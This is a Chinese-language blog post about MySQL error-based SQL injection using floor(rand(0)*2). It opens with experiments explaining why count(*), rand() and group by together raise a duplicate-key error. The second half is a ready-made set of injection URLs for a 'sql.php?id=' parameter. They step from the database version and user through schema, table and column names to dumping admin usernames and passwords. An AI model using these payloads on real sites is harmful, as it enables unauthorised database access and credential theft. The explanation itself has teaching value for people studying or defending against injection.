PS:在這幾天的學習當中很多的文章都將此注入方式稱之為“floor報錯分析”但經過我這幾天的學習。個人覺得不該如此稱呼!若君有意請詳細閱讀此篇文章。特別感謝米懷特的開導,說句實在的研究這個注入有四天了。有點不好意思說出來。其實就是一個語句的事情!但是確實研究四天了。之前實在的雖說口上弄懂了,但腦袋里還是混混沌沌的。也怪自己愚昧。加油吧。廢話多了(。_。)
且看完整的payload:
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
簡化后Payload:select count(*),(floor(rand(0)*2))x from table order by x;
先來分析一下該條Sql語句報錯的原因是啥。
00x1 是floor(rand(0)*2)導致的報錯嗎?
用事實說話!先建立一個表。
首先先插入一條記錄。
再執行一下:select count(*) from xishaonian group by floor(rand(0)*2);
再插入一條記錄,再執行。直至第三次報錯了!
報錯了!事實證明,floor(rand(0)*2)報錯的條件是當記錄數為3的時候。為3必定報錯!
之后,我連續插入了八條記錄。然后查詢了一下
排序是01101100...那么到了第三個。
從1開始算。到了第三個的時候也就是0。系統就會跳過
事實證明floor(rand(0)*2)只有在特定情況下才會報錯。
00x2 count group by導致的報錯?
count大家都知道是計數函數,那么他是如何計數的呢?count和group by 合在一起用就會建立一個虛擬表,來數(shǔ)數(shù)。
1.大概的虛擬表如下所示(其中的key是主鍵,是不可以重復的):
2.開始查詢數據,取數據庫數據,然后查看虛擬表存在不,不存在則插入新記錄。存在則count(*)字段直接加1,如下圖:
由此看到 如果key存在的話就+1, 不存在的話就新建一個key。
那這個和報錯有啥內在聯系,我們直接往下來,其實到這里,結合前面的內容大家也能猜個一二了。
報錯需要count(*)
,rand()
、group by
,三者缺一不可。
一篇相似的文章:http://www.2cto.com/article/201604/498394.html
那么如何利用呢?摘自獨自博客/通過floor暴錯注入/
/*數據庫版本*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*簡單辦法暴庫*/
http://www.xishaonian.cn/sql.php?id=info()
/*連接用戶*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*連接數據庫*/
http://www.waitalone.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴庫*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴表*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴字段*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*暴內容*/
http://www.xishaonian.cn/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
結束